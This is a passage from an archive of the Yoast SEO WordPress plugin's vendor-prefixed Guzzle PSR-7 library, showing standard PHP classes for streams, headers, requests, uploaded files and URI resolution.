     * error handler that checks for errors and throws an exception instead.
     *
     * @param string $filename File to open
     * @param string $mode     Mode used to open the file
     *
     * @return resource
     *
     * @throws \RuntimeException if the file cannot be opened
     */
    public static function tryFopen(string $filename, string $mode)
    {
        $ex = null;
        \set_error_handler(static function (int $errno, string $errstr) use($filename, $mode, &$ex) : bool {
            $ex = new \RuntimeException(\sprintf('Unable to open "%s" using mode "%s": %s', $filename, $mode, $errstr));
            return \true;
        });
        try {
            /** @var resource $handle */
            $handle = \fopen($filename, $mode);
        } catch (\Throwable $e) {
            $ex = new \RuntimeException(\sprintf('Unable to open "%s" using mode "%s": %s', $filename, $mode, $e->getMessage()), 0, $e);
        }
        \restore_error_handler();
        if ($ex) {
            /** @var $ex \RuntimeException */
            throw $ex;
        }
        return $handle;
    }
    /**
     * Safely gets the contents of a given stream.
     *
     * When stream_get_contents fails, PHP normally raises a warning. This
     * function adds an error handler that checks for errors and throws an
     * exception instead.
     *
     * @param resource $stream
     *
     * @throws \RuntimeException if the stream cannot be read
     */
    public static function tryGetContents($stream) : string
    {
        $ex = null;
        \set_error_handler(static function (int $errno, string $errstr) use(&$ex) : bool {
            $ex = new \RuntimeException(\sprintf('Unable to read stream contents: %s', $errstr));
            return \true;
        });
        try {
            /** @var string|false $contents */
            $contents = \stream_get_contents($stream);
            if ($contents === \false) {
                $ex = new \RuntimeException('Unable to read stream contents');
            }
        } catch (\Throwable $e) {
            $ex = new \RuntimeException(\sprintf('Unable to read stream contents: %s', $e->getMessage()), 0, $e);
        }
        \restore_error_handler();
        if ($ex) {
            /** @var $ex \RuntimeException */
            throw $ex;
        }
        return $contents;
    }
    /**
     * Returns a UriInterface for the given value.
     *
     * This function accepts a string or UriInterface and returns a
     * UriInterface for the given value. If the value is already a
     * UriInterface, it is returned as-is.
     *
     * @param string|UriInterface $uri
     *
     * @throws \InvalidArgumentException
     */
    public static function uriFor($uri) : \YoastSEO_Vendor\Psr\Http\Message\UriInterface
    {
        if ($uri instanceof \YoastSEO_Vendor\Psr\Http\Message\UriInterface) {
            return $uri;
        }
        if (\is_string($uri)) {
            return new \YoastSEO_Vendor\GuzzleHttp\Psr7\Uri($uri);
        }
        throw new \InvalidArgumentException('URI must be a string or UriInterface');
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/psr7/src/InflateStream.php000064400000003156147510273100021721 0ustar00<?php

declare (strict_types=1);
namespace YoastSEO_Vendor\GuzzleHttp\Psr7;

use YoastSEO_Vendor\Psr\Http\Message\StreamInterface;
/**
 * Uses PHP's zlib.inflate filter to inflate zlib (HTTP deflate, RFC1950) or gzipped (RFC1952) content.
 *
 * This stream decorator converts the provided stream to a PHP stream resource,
 * then appends the zlib.inflate filter. The stream is then converted back
 * to a Guzzle stream resource to be used as a Guzzle stream.
 *
 * @see https://datatracker.ietf.org/doc/html/rfc1950
 * @see https://datatracker.ietf.org/doc/html/rfc1952
 * @see https://www.php.net/manual/en/filters.compression.php
 */
final class InflateStream implements \YoastSEO_Vendor\Psr\Http\Message\StreamInterface
{
    use StreamDecoratorTrait;
    /** @var StreamInterface */
    private $stream;
    public function __construct(\YoastSEO_Vendor\Psr\Http\Message\StreamInterface $stream)
    {
        $resource = \YoastSEO_Vendor\GuzzleHttp\Psr7\StreamWrapper::getResource($stream);
        // Specify window=15+32, so zlib will use header detection to both gzip (with header) and zlib data
        // See https://www.zlib.net/manual.html#Advanced definition of inflateInit2
        // "Add 32 to windowBits to enable zlib and gzip decoding with automatic header detection"
        // Default window size is 15.
        \stream_filter_append($resource, 'zlib.inflate', \STREAM_FILTER_READ, ['window' => 15 + 32]);
        $this->stream = $stream->isSeekable() ? new \YoastSEO_Vendor\GuzzleHttp\Psr7\Stream($resource) : new \YoastSEO_Vendor\GuzzleHttp\Psr7\NoSeekStream(new \YoastSEO_Vendor\GuzzleHttp\Psr7\Stream($resource));
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/psr7/src/Header.php000064400000007561147510273100020357 0ustar00<?php

declare (strict_types=1);
namespace YoastSEO_Vendor\GuzzleHttp\Psr7;

final class Header
{
    /**
     * Parse an array of header values containing ";" separated data into an
     * array of associative arrays representing the header key value pair data
     * of the header. When a parameter does not contain a value, but just
     * contains a key, this function will inject a key with a '' string value.
     *
     * @param string|array $header Header to parse into components.
     */
    public static function parse($header) : array
    {
        static $trimmed = "\"'  \n\t\r";
        $params = $matches = [];
        foreach ((array) $header as $value) {
            foreach (self::splitList($value) as $val) {
                $part = [];
                foreach (\preg_split('/;(?=([^"]*"[^"]*")*[^"]*$)/', $val) ?: [] as $kvp) {
                    if (\preg_match_all('/<[^>]+>|[^=]+/', $kvp, $matches)) {
                        $m = $matches[0];
                        if (isset($m[1])) {
                            $part[\trim($m[0], $trimmed)] = \trim($m[1], $trimmed);
                        } else {
                            $part[] = \trim($m[0], $trimmed);
                        }
                    }
                }
                if ($part) {
                    $params[] = $part;
                }
            }
        }
        return $params;
    }
    /**
     * Converts an array of header values that may contain comma separated
     * headers into an array of headers with no comma separated values.
     *
     * @param string|array $header Header to normalize.
     *
     * @deprecated Use self::splitList() instead.
     */
    public static function normalize($header) : array
    {
        $result = [];
        foreach ((array) $header as $value) {
            foreach (self::splitList($value) as $parsed) {
                $result[] = $parsed;
            }
        }
        return $result;
    }
    /**
     * Splits a HTTP header defined to contain a comma-separated list into
     * each individual value. Empty values will be removed.
     *
     * Example headers include 'accept', 'cache-control' and 'if-none-match'.
     *
     * This method must not be used to parse headers that are not defined as
     * a list, such as 'user-agent' or 'set-cookie'.
     *
     * @param string|string[] $values Header value as returned by MessageInterface::getHeader()
     *
     * @return string[]
     */
    public static function splitList($values) : array
    {
        if (!\is_array($values)) {
            $values = [$values];
        }
        $result = [];
        foreach ($values as $value) {
            if (!\is_string($value)) {
                throw new \TypeError('$header must either be a string or an array containing strings.');
            }
            $v = '';
            $isQuoted = \false;
            $isEscaped = \false;
            for ($i = 0, $max = \strlen($value); $i < $max; ++$i) {
                if ($isEscaped) {
                    $v .= $value[$i];
                    $isEscaped = \false;
                    continue;
                }
                if (!$isQuoted && $value[$i] === ',') {
                    $v = \trim($v);
                    if ($v !== '') {
                        $result[] = $v;
                    }
                    $v = '';
                    continue;
                }
                if ($isQuoted && $value[$i] === '\\') {
                    $isEscaped = \true;
                    $v .= $value[$i];
                    continue;
                }
                if ($value[$i] === '"') {
                    $isQuoted = !$isQuoted;
                    $v .= $value[$i];
                    continue;
                }
                $v .= $value[$i];
            }
            $v = \trim($v);
            if ($v !== '') {
                $result[] = $v;
            }
        }
        return $result;
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/psr7/src/Request.php000064400000010143147510273100020605 0ustar00<?php

declare (strict_types=1);
namespace YoastSEO_Vendor\GuzzleHttp\Psr7;

use InvalidArgumentException;
use YoastSEO_Vendor\Psr\Http\Message\RequestInterface;
use YoastSEO_Vendor\Psr\Http\Message\StreamInterface;
use YoastSEO_Vendor\Psr\Http\Message\UriInterface;
/**
 * PSR-7 request implementation.
 */
class Request implements \YoastSEO_Vendor\Psr\Http\Message\RequestInterface
{
    use MessageTrait;
    /** @var string */
    private $method;
    /** @var string|null */
    private $requestTarget;
    /** @var UriInterface */
    private $uri;
    /**
     * @param string                               $method  HTTP method
     * @param string|UriInterface                  $uri     URI
     * @param (string|string[])[]                  $headers Request headers
     * @param string|resource|StreamInterface|null $body    Request body
     * @param string                               $version Protocol version
     */
    public function __construct(string $method, $uri, array $headers = [], $body = null, string $version = '1.1')
    {
        $this->assertMethod($method);
        if (!$uri instanceof \YoastSEO_Vendor\Psr\Http\Message\UriInterface) {
            $uri = new \YoastSEO_Vendor\GuzzleHttp\Psr7\Uri($uri);
        }
        $this->method = \strtoupper($method);
        $this->uri = $uri;
        $this->setHeaders($headers);
        $this->protocol = $version;
        if (!isset($this->headerNames['host'])) {
            $this->updateHostFromUri();
        }
        if ($body !== '' && $body !== null) {
            $this->stream = \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::streamFor($body);
        }
    }
    public function getRequestTarget() : string
    {
        if ($this->requestTarget !== null) {
            return $this->requestTarget;
        }
        $target = $this->uri->getPath();
        if ($target === '') {
            $target = '/';
        }
        if ($this->uri->getQuery() != '') {
            $target .= '?' . $this->uri->getQuery();
        }
        return $target;
    }
    public function withRequestTarget($requestTarget) : \YoastSEO_Vendor\Psr\Http\Message\RequestInterface
    {
        if (\preg_match('#\\s#', $requestTarget)) {
            throw new \InvalidArgumentException('Invalid request target provided; cannot contain whitespace');
        }
        $new = clone $this;
        $new->requestTarget = $requestTarget;
        return $new;
    }
    public function getMethod() : string
    {
        return $this->method;
    }
    public function withMethod($method) : \YoastSEO_Vendor\Psr\Http\Message\RequestInterface
    {
        $this->assertMethod($method);
        $new = clone $this;
        $new->method = \strtoupper($method);
        return $new;
    }
    public function getUri() : \YoastSEO_Vendor\Psr\Http\Message\UriInterface
    {
        return $this->uri;
    }
    public function withUri(\YoastSEO_Vendor\Psr\Http\Message\UriInterface $uri, $preserveHost = \false) : \YoastSEO_Vendor\Psr\Http\Message\RequestInterface
    {
        if ($uri === $this->uri) {
            return $this;
        }
        $new = clone $this;
        $new->uri = $uri;
        if (!$preserveHost || !isset($this->headerNames['host'])) {
            $new->updateHostFromUri();
        }
        return $new;
    }
    private function updateHostFromUri() : void
    {
        $host = $this->uri->getHost();
        if ($host == '') {
            return;
        }
        if (($port = $this->uri->getPort()) !== null) {
            $host .= ':' . $port;
        }
        if (isset($this->headerNames['host'])) {
            $header = $this->headerNames['host'];
        } else {
            $header = 'Host';
            $this->headerNames['host'] = 'Host';
        }
        // Ensure Host is the first header.
        // See: https://datatracker.ietf.org/doc/html/rfc7230#section-5.4
        $this->headers = [$header => [$host]] + $this->headers;
    }
    /**
     * @param mixed $method
     */
    private function assertMethod($method) : void
    {
        if (!\is_string($method) || $method === '') {
            throw new \InvalidArgumentException('Method must be a non-empty string.');
        }
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/psr7/src/Exception/MalformedUriException.php000064400000000405147510273100025360 0ustar00<?php

declare (strict_types=1);
namespace YoastSEO_Vendor\GuzzleHttp\Psr7\Exception;

use InvalidArgumentException;
/**
 * Exception thrown if a URI cannot be parsed because it's malformed.
 */
class MalformedUriException extends \InvalidArgumentException
{
}
wordpress-seo/vendor_prefixed/guzzlehttp/psr7/src/UploadedFile.php000064400000011463147510273100021520 0ustar00<?php

declare (strict_types=1);
namespace YoastSEO_Vendor\GuzzleHttp\Psr7;

use InvalidArgumentException;
use YoastSEO_Vendor\Psr\Http\Message\StreamInterface;
use YoastSEO_Vendor\Psr\Http\Message\UploadedFileInterface;
use RuntimeException;
class UploadedFile implements \YoastSEO_Vendor\Psr\Http\Message\UploadedFileInterface
{
    private const ERRORS = [\UPLOAD_ERR_OK, \UPLOAD_ERR_INI_SIZE, \UPLOAD_ERR_FORM_SIZE, \UPLOAD_ERR_PARTIAL, \UPLOAD_ERR_NO_FILE, \UPLOAD_ERR_NO_TMP_DIR, \UPLOAD_ERR_CANT_WRITE, \UPLOAD_ERR_EXTENSION];
    /**
     * @var string|null
     */
    private $clientFilename;
    /**
     * @var string|null
     */
    private $clientMediaType;
    /**
     * @var int
     */
    private $error;
    /**
     * @var string|null
     */
    private $file;
    /**
     * @var bool
     */
    private $moved = \false;
    /**
     * @var int|null
     */
    private $size;
    /**
     * @var StreamInterface|null
     */
    private $stream;
    /**
     * @param StreamInterface|string|resource $streamOrFile
     */
    public function __construct($streamOrFile, ?int $size, int $errorStatus, string $clientFilename = null, string $clientMediaType = null)
    {
        $this->setError($errorStatus);
        $this->size = $size;
        $this->clientFilename = $clientFilename;
        $this->clientMediaType = $clientMediaType;
        if ($this->isOk()) {
            $this->setStreamOrFile($streamOrFile);
        }
    }
    /**
     * Depending on the value set file or stream variable
     *
     * @param StreamInterface|string|resource $streamOrFile
     *
     * @throws InvalidArgumentException
     */
    private function setStreamOrFile($streamOrFile) : void
    {
        if (\is_string($streamOrFile)) {
            $this->file = $streamOrFile;
        } elseif (\is_resource($streamOrFile)) {
            $this->stream = new \YoastSEO_Vendor\GuzzleHttp\Psr7\Stream($streamOrFile);
        } elseif ($streamOrFile instanceof \YoastSEO_Vendor\Psr\Http\Message\StreamInterface) {
            $this->stream = $streamOrFile;
        } else {
            throw new \InvalidArgumentException('Invalid stream or file provided for UploadedFile');
        }
    }
    /**
     * @throws InvalidArgumentException
     */
    private function setError(int $error) : void
    {
        if (\false === \in_array($error, \YoastSEO_Vendor\GuzzleHttp\Psr7\UploadedFile::ERRORS, \true)) {
            throw new \InvalidArgumentException('Invalid error status for UploadedFile');
        }
        $this->error = $error;
    }
    private static function isStringNotEmpty($param) : bool
    {
        return \is_string($param) && \false === empty($param);
    }
    /**
     * Return true if there is no upload error
     */
    private function isOk() : bool
    {
        return $this->error === \UPLOAD_ERR_OK;
    }
    public function isMoved() : bool
    {
        return $this->moved;
    }
    /**
     * @throws RuntimeException if is moved or not ok
     */
    private function validateActive() : void
    {
        if (\false === $this->isOk()) {
            throw new \RuntimeException('Cannot retrieve stream due to upload error');
        }
        if ($this->isMoved()) {
            throw new \RuntimeException('Cannot retrieve stream after it has already been moved');
        }
    }
    public function getStream() : \YoastSEO_Vendor\Psr\Http\Message\StreamInterface
    {
        $this->validateActive();
        if ($this->stream instanceof \YoastSEO_Vendor\Psr\Http\Message\StreamInterface) {
            return $this->stream;
        }
        /** @var string $file */
        $file = $this->file;
        return new \YoastSEO_Vendor\GuzzleHttp\Psr7\LazyOpenStream($file, 'r+');
    }
    public function moveTo($targetPath) : void
    {
        $this->validateActive();
        if (\false === self::isStringNotEmpty($targetPath)) {
            throw new \InvalidArgumentException('Invalid path provided for move operation; must be a non-empty string');
        }
        if ($this->file) {
            $this->moved = \PHP_SAPI === 'cli' ? \rename($this->file, $targetPath) : \move_uploaded_file($this->file, $targetPath);
        } else {
            \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::copyToStream($this->getStream(), new \YoastSEO_Vendor\GuzzleHttp\Psr7\LazyOpenStream($targetPath, 'w'));
            $this->moved = \true;
        }
        if (\false === $this->moved) {
            throw new \RuntimeException(\sprintf('Uploaded file could not be moved to %s', $targetPath));
        }
    }
    public function getSize() : ?int
    {
        return $this->size;
    }
    public function getError() : int
    {
        return $this->error;
    }
    public function getClientFilename() : ?string
    {
        return $this->clientFilename;
    }
    public function getClientMediaType() : ?string
    {
        return $this->clientMediaType;
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/psr7/src/UriResolver.php000064400000021311147510273100021435 0ustar00<?php

declare (strict_types=1);
namespace YoastSEO_Vendor\GuzzleHttp\Psr7;

use YoastSEO_Vendor\Psr\Http\Message\UriInterface;
/**
 * Resolves a URI reference in the context of a base URI and the opposite way.
 *
 * @author Tobias Schultze
 *
 * @see https://datatracker.ietf.org/doc/html/rfc3986#section-5
 */
final class UriResolver
{
    /**
     * Removes dot segments from a path and returns the new path.
     *
     * @see https://datatracker.ietf.org/doc/html/rfc3986#section-5.2.4
     */
    public static function removeDotSegments(string $path) : string
    {
        if ($path === '' || $path === '/') {
            return $path;
        }
        $results = [];
        $segments = \explode('/', $path);
        foreach ($segments as $segment) {
            if ($segment === '..') {
                \array_pop($results);
            } elseif ($segment !== '.') {
                $results[] = $segment;
            }
        }
        $newPath = \implode('/', $results);
        if ($path[0] === '/' && (!isset($newPath[0]) || $newPath[0] !== '/')) {
            // Re-add the leading slash if necessary for cases like "/.."
            $newPath = '/' . $newPath;
        } elseif ($newPath !== '' && ($segment === '.' || $segment === '..')) {
            // Add the trailing slash if necessary
            // If newPath is not empty, then $segment must be set and is the last segment from the foreach
            $newPath .= '/';
        }
        return $newPath;
    }
    /**
     * Converts the relative URI into a new URI that is resolved against the base URI.
     *
     * @see https://datatracker.ietf.org/doc/html/rfc3986#section-5.2
     */
    public static function resolve(\YoastSEO_Vendor\Psr\Http\Message\UriInterface $base, \YoastSEO_Vendor\Psr\Http\Message\UriInterface $rel) : \YoastSEO_Vendor\Psr\Http\Message\UriInterface
    {
        if ((string) $rel === '') {
            // we can simply return the same base URI instance for this same-document reference
            return $base;
        }
        if ($rel->getScheme() != '') {
            return $rel->withPath(self::removeDotSegments($rel->getPath()));
        }
        if ($rel->getAuthority() != '') {
            $targetAuthority = $rel->getAuthority();
            $targetPath = self::removeDotSegments($rel->getPath());
            $targetQuery = $rel->getQuery();
        } else {
            $targetAuthority = $base->getAuthority();
            if ($rel->getPath() === '') {
                $targetPath = $base->getPath();
                $targetQuery = $rel->getQuery() != '' ? $rel->getQuery() : $base->getQuery();
            } else {
                if ($rel->getPath()[0] === '/') {
                    $targetPath = $rel->getPath();
                } else {
                    if ($targetAuthority != '' && $base->getPath() === '') {
                        $targetPath = '/' . $rel->getPath();
                    } else {
                        $lastSlashPos = \strrpos($base->getPath(), '/');
                        if ($lastSlashPos === \false) {
                            $targetPath = $rel->getPath();
                        } else {
                            $targetPath = \substr($base->getPath(), 0, $lastSlashPos + 1) . $rel->getPath();
                        }
                    }
                }
                $targetPath = self::removeDotSegments($targetPath);
                $targetQuery = $rel->getQuery();
            }
        }
        return new \YoastSEO_Vendor\GuzzleHttp\Psr7\Uri(\YoastSEO_Vendor\GuzzleHttp\Psr7\Uri::composeComponents($base->getScheme(), $targetAuthority, $targetPath, $targetQuery, $rel->getFragment()));
    }
    /**
     * Returns the target URI as a relative reference from the base URI.
     *
     * This method is the counterpart to resolve():
     *
     *    (string) $target === (string) UriResolver::resolve($base, UriResolver::relativize($base, $target))
     *
     * One use-case is to use the current request URI as base URI and then generate relative links in your documents
     * to reduce the document size or offer self-contained downloadable document archives.
     *
     *    $base = new Uri('http://example.com/a/b/');
     *    echo UriResolver::relativize($base, new Uri('http://example.com/a/b/c'));  // prints 'c'.
     *    echo UriResolver::relativize($base, new Uri('http://example.com/a/x/y'));  // prints '../x/y'.
     *    echo UriResolver::relativize($base, new Uri('http://example.com/a/b/?q')); // prints '?q'.
     *    echo UriResolver::relativize($base, new Uri('http://example.org/a/b/'));   // prints '//example.org/a/b/'.
     *
     * This method also accepts a target that is already relative and will try to relativize it further. Only a
     * relative-path reference will be returned as-is.
     *
     *    echo UriResolver::relativize($base, new Uri('/a/b/c'));  // prints 'c' as well
     */
    public static function relativize(\YoastSEO_Vendor\Psr\Http\Message\UriInterface $base, \YoastSEO_Vendor\Psr\Http\Message\UriInterface $target) : \YoastSEO_Vendor\Psr\Http\Message\UriInterface
    {
        if ($target->getScheme() !== '' && ($base->getScheme() !== $target->getScheme() || $target->getAuthority() === '' && $base->getAuthority() !== '')) {
            return $target;
        }
        if (\YoastSEO_Vendor\GuzzleHttp\Psr7\Uri::isRelativePathReference($target)) {
            // As the target is already highly relative we return it as-is. It would be possible to resolve
            // the target with `$target = self::resolve($base, $target);` and then try make it more relative
            // by removing a duplicate query. But let's not do that automatically.
            return $target;
        }
        if ($target->getAuthority() !== '' && $base->getAuthority() !== $target->getAuthority()) {
            return $target->withScheme('');
        }
        // We must remove the path before removing the authority because if the path starts with two slashes, the URI
        // would turn invalid. And we also cannot set a relative path before removing the authority, as that is also
        // invalid.
        $emptyPathUri = $target->withScheme('')->withPath('')->withUserInfo('')->withPort(null)->withHost('');
        if ($base->getPath() !== $target->getPath()) {
            return $emptyPathUri->withPath(self::getRelativePath($base, $target));
        }
        if ($base->getQuery() === $target->getQuery()) {
            // Only the target fragment is left. And it must be returned even if base and target fragment are the same.
            return $emptyPathUri->withQuery('');
        }
        // If the base URI has a query but the target has none, we cannot return an empty path reference as it would
        // inherit the base query component when resolving.
        if ($target->getQuery() === '') {
            $segments = \explode('/', $target->getPath());
            /** @var string $lastSegment */
            $lastSegment = \end($segments);
            return $emptyPathUri->withPath($lastSegment === '' ? './' : $lastSegment);
        }
        return $emptyPathUri;
    }
    private static function getRelativePath(\YoastSEO_Vendor\Psr\Http\Message\UriInterface $base, \YoastSEO_Vendor\Psr\Http\Message\UriInterface $target) : string
    {
        $sourceSegments = \explode('/', $base->getPath());
        $targetSegments = \explode('/', $target->getPath());
        \array_pop($sourceSegments);
        $targetLastSegment = \array_pop($targetSegments);
        foreach ($sourceSegments as $i => $segment) {
            if (isset($targetSegments[$i]) && $segment === $targetSegments[$i]) {
                unset($sourceSegments[$i], $targetSegments[$i]);
            } else {
                break;
            }
        }
        $targetSegments[] = $targetLastSegment;
        $relativePath = \str_repeat('../', \count($sourceSegments)) . \implode('/', $targetSegments);
        // A reference to am empty last segment or an empty first sub-segment must be prefixed with "./".
        // This also applies to a segment with a colon character (e.g., "file:colon") that cannot be used
        // as the first segment of a relative-path reference, as it would be mistaken for a scheme name.
        if ('' === $relativePath || \false !== \strpos(\explode('/', $relativePath, 2)[0], ':')) {
            $relativePath = "./{$relativePath}";
        } elseif ('/' === $relativePath[0]) {
            if ($base->getAuthority() != '' && $base->getPath() === '') {
                // In this case an extra slash is added by resolve() automatically. So we must not add one here.
                $relativePath = ".{$relativePath}";
            } else {
                $relativePath = "./{$relativePath}";
            }
        }
        return $relativePath;
    }
    private function __construct()
    {
        // cannot be instantiated
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/psr7/src/Stream.php000064400000016466147510273100020426 0ustar00<?php

declare (strict_types=1);
namespace YoastSEO_Vendor\GuzzleHttp\Psr7;

use YoastSEO_Vendor\Psr\Http\Message\StreamInterface;
/**
 * PHP stream implementation.
 */
class Stream implements \YoastSEO_Vendor\Psr\Http\Message\StreamInterface
{
    /**
     * @see https://www.php.net/manual/en/function.fopen.php
     * @see https://www.php.net/manual/en/function.gzopen.php
     */
    private const READABLE_MODES = '/r|a\\+|ab\\+|w\\+|wb\\+|x\\+|xb\\+|c\\+|cb\\+/';
    private const WRITABLE_MODES = '/a|w|r\\+|rb\\+|rw|x|c/';
    /** @var resource */
    private $stream;
    /** @var int|null */
    private $size;
    /** @var bool */
    private $seekable;
    /** @var bool */
    private $readable;
    /** @var bool */
    private $writable;
    /** @var string|null */
    private $uri;
    /** @var mixed[] */
    private $customMetadata;
    /**
     * This constructor accepts an associative array of options.
     *
     * - size: (int) If a read stream would otherwise have an indeterminate
     *   size, but the size is known due to foreknowledge, then you can
     *   provide that size, in bytes.
     * - metadata: (array) Any additional metadata to return when the metadata
     *   of the stream is accessed.
     *
     * @param resource                            $stream  Stream resource to wrap.
     * @param array{size?: int, metadata?: array} $options Associative array of options.
     *
     * @throws \InvalidArgumentException if the stream is not a stream resource
     */
    public function __construct($stream, array $options = [])
    {
        if (!\is_resource($stream)) {
            throw new \InvalidArgumentException('Stream must be a resource');
        }
        if (isset($options['size'])) {
            $this->size = $options['size'];
        }
        $this->customMetadata = $options['metadata'] ?? [];
        $this->stream = $stream;
        $meta = \stream_get_meta_data($this->stream);
        $this->seekable = $meta['seekable'];
        $this->readable = (bool) \preg_match(self::READABLE_MODES, $meta['mode']);
        $this->writable = (bool) \preg_match(self::WRITABLE_MODES, $meta['mode']);
        $this->uri = $this->getMetadata('uri');
    }
    /**
     * Closes the stream when the destructed
     */
    public function __destruct()
    {
        $this->close();
    }
    public function __toString() : string
    {
        try {
            if ($this->isSeekable()) {
                $this->seek(0);
            }
            return $this->getContents();
        } catch (\Throwable $e) {
            if (\PHP_VERSION_ID >= 70400) {
                throw $e;
            }
            \trigger_error(\sprintf('%s::__toString exception: %s', self::class, (string) $e), \E_USER_ERROR);
            return '';
        }
    }
    public function getContents() : string
    {
        if (!isset($this->stream)) {
            throw new \RuntimeException('Stream is detached');
        }
        if (!$this->readable) {
            throw new \RuntimeException('Cannot read from non-readable stream');
        }
        return \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::tryGetContents($this->stream);
    }
    public function close() : void
    {
        if (isset($this->stream)) {
            if (\is_resource($this->stream)) {
                \fclose($this->stream);
            }
            $this->detach();
        }
    }
    public function detach()
    {
        if (!isset($this->stream)) {
            return null;
        }
        $result = $this->stream;
        unset($this->stream);
        $this->size = $this->uri = null;
        $this->readable = $this->writable = $this->seekable = \false;
        return $result;
    }
    public function getSize() : ?int
    {
        if ($this->size !== null) {
            return $this->size;
        }
        if (!isset($this->stream)) {
            return null;
        }
        // Clear the stat cache if the stream has a URI
        if ($this->uri) {
            \clearstatcache(\true, $this->uri);
        }
        $stats = \fstat($this->stream);
        if (\is_array($stats) && isset($stats['size'])) {
            $this->size = $stats['size'];
            return $this->size;
        }
        return null;
    }
    public function isReadable() : bool
    {
        return $this->readable;
    }
    public function isWritable() : bool
    {
        return $this->writable;
    }
    public function isSeekable() : bool
    {
        return $this->seekable;
    }
    public function eof() : bool
    {
        if (!isset($this->stream)) {
            throw new \RuntimeException('Stream is detached');
        }
        return \feof($this->stream);
    }
    public function tell() : int
    {
        if (!isset($this->stream)) {
            throw new \RuntimeException('Stream is detached');
        }
        $result = \ftell($this->stream);
        if ($result === \false) {
            throw new \RuntimeException('Unable to determine stream position');
        }
        return $result;
    }
    public function rewind() : void
    {
        $this->seek(0);
    }
    public function seek($offset, $whence = \SEEK_SET) : void
    {
        $whence = (int) $whence;
        if (!isset($this->stream)) {
            throw new \RuntimeException('Stream is detached');
        }
        if (!$this->seekable) {
            throw new \RuntimeException('Stream is not seekable');
        }
        if (\fseek($this->stream, $offset, $whence) === -1) {
            throw new \RuntimeException('Unable to seek to stream position ' . $offset . ' with whence ' . \var_export($whence, \true));
        }
    }
    public function read($length) : string
    {
        if (!isset($this->stream)) {
            throw new \RuntimeException('Stream is detached');
        }
        if (!$this->readable) {
            throw new \RuntimeException('Cannot read from non-readable stream');
        }
        if ($length < 0) {
            throw new \RuntimeException('Length parameter cannot be negative');
        }
        if (0 === $length) {
            return '';
        }
        try {
            $string = \fread($this->stream, $length);
        } catch (\Exception $e) {
            throw new \RuntimeException('Unable to read from stream', 0, $e);
        }
        if (\false === $string) {
            throw new \RuntimeException('Unable to read from stream');
        }
        return $string;
    }
    public function write($string) : int
    {
        if (!isset($this->stream)) {
            throw new \RuntimeException('Stream is detached');
        }
        if (!$this->writable) {
            throw new \RuntimeException('Cannot write to a non-writable stream');
        }
        // We can't know the size after writing anything
        $this->size = null;
        $result = \fwrite($this->stream, $string);
        if ($result === \false) {
            throw new \RuntimeException('Unable to write to stream');
        }
        return $result;
    }
    /**
     * @return mixed
     */
    public function getMetadata($key = null)
    {
        if (!isset($this->stream)) {
            return $key ? null : [];
        } elseif (!$key) {
            return $this->customMetadata + \stream_get_meta_data($this->stream);
        } elseif (isset($this->customMetadata[$key])) {
            return $this->customMetadata[$key];
        }
        $meta = \stream_get_meta_data($this->stream);
        return $meta[$key] ?? null;
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/psr7/src/HttpFactory.php000064400000007714147510273100021436 0ustar00<?php

declare (strict_types=1);
namespace YoastSEO_Vendor\GuzzleHttp\Psr7;

use YoastSEO_Vendor\Psr\Http\Message\RequestFactoryInterface;
use YoastSEO_Vendor\Psr\Http\Message\RequestInterface;
use YoastSEO_Vendor\Psr\Http\Message\ResponseFactoryInterface;
use YoastSEO_Vendor\Psr\Http\Message\ResponseInterface;
use YoastSEO_Vendor\Psr\Http\Message\ServerRequestFactoryInterface;
use YoastSEO_Vendor\Psr\Http\Message\ServerRequestInterface;
use YoastSEO_Vendor\Psr\Http\Message\StreamFactoryInterface;
use YoastSEO_Vendor\Psr\Http\Message\StreamInterface;
use YoastSEO_Vendor\Psr\Http\Message\UploadedFileFactoryInterface;
use YoastSEO_Vendor\Psr\Http\Message\UploadedFileInterface;
use YoastSEO_Vendor\Psr\Http\Message\UriFactoryInterface;
use YoastSEO_Vendor\Psr\Http\Message\UriInterface;
/**
 * Implements all of the PSR-17 interfaces.
 *
 * Note: in consuming code it is recommended to require the implemented interfaces
 * and inject the instance of this class multiple times.
 */
final class HttpFactory implements \YoastSEO_Vendor\Psr\Http\Message\RequestFactoryInterface, \YoastSEO_Vendor\Psr\Http\Message\ResponseFactoryInterface, \YoastSEO_Vendor\Psr\Http\Message\ServerRequestFactoryInterface, \YoastSEO_Vendor\Psr\Http\Message\StreamFactoryInterface, \YoastSEO_Vendor\Psr\Http\Message\UploadedFileFactoryInterface, \YoastSEO_Vendor\Psr\Http\Message\UriFactoryInterface
{
    public function createUploadedFile(\YoastSEO_Vendor\Psr\Http\Message\StreamInterface $stream, int $size = null, int $error = \UPLOAD_ERR_OK, string $clientFilename = null, string $clientMediaType = null) : \YoastSEO_Vendor\Psr\Http\Message\UploadedFileInterface
    {
        if ($size === null) {
            $size = $stream->getSize();
        }
        return new \YoastSEO_Vendor\GuzzleHttp\Psr7\UploadedFile($stream, $size, $error, $clientFilename, $clientMediaType);
    }
    public function createStream(string $content = '') : \YoastSEO_Vendor\Psr\Http\Message\StreamInterface
    {
        return \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::streamFor($content);
    }
    public function createStreamFromFile(string $file, string $mode = 'r') : \YoastSEO_Vendor\Psr\Http\Message\StreamInterface
    {
        try {
            $resource = \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::tryFopen($file, $mode);
        } catch (\RuntimeException $e) {
            if ('' === $mode || \false === \in_array($mode[0], ['r', 'w', 'a', 'x', 'c'], \true)) {
                throw new \InvalidArgumentException(\sprintf('Invalid file opening mode "%s"', $mode), 0, $e);
            }
            throw $e;
        }
        return \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::streamFor($resource);
    }
    public function createStreamFromResource($resource) : \YoastSEO_Vendor\Psr\Http\Message\StreamInterface
    {
        return \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::streamFor($resource);
    }
    public function createServerRequest(string $method, $uri, array $serverParams = []) : \YoastSEO_Vendor\Psr\Http\Message\ServerRequestInterface
    {
        if (empty($method)) {
            if (!empty($serverParams['REQUEST_METHOD'])) {
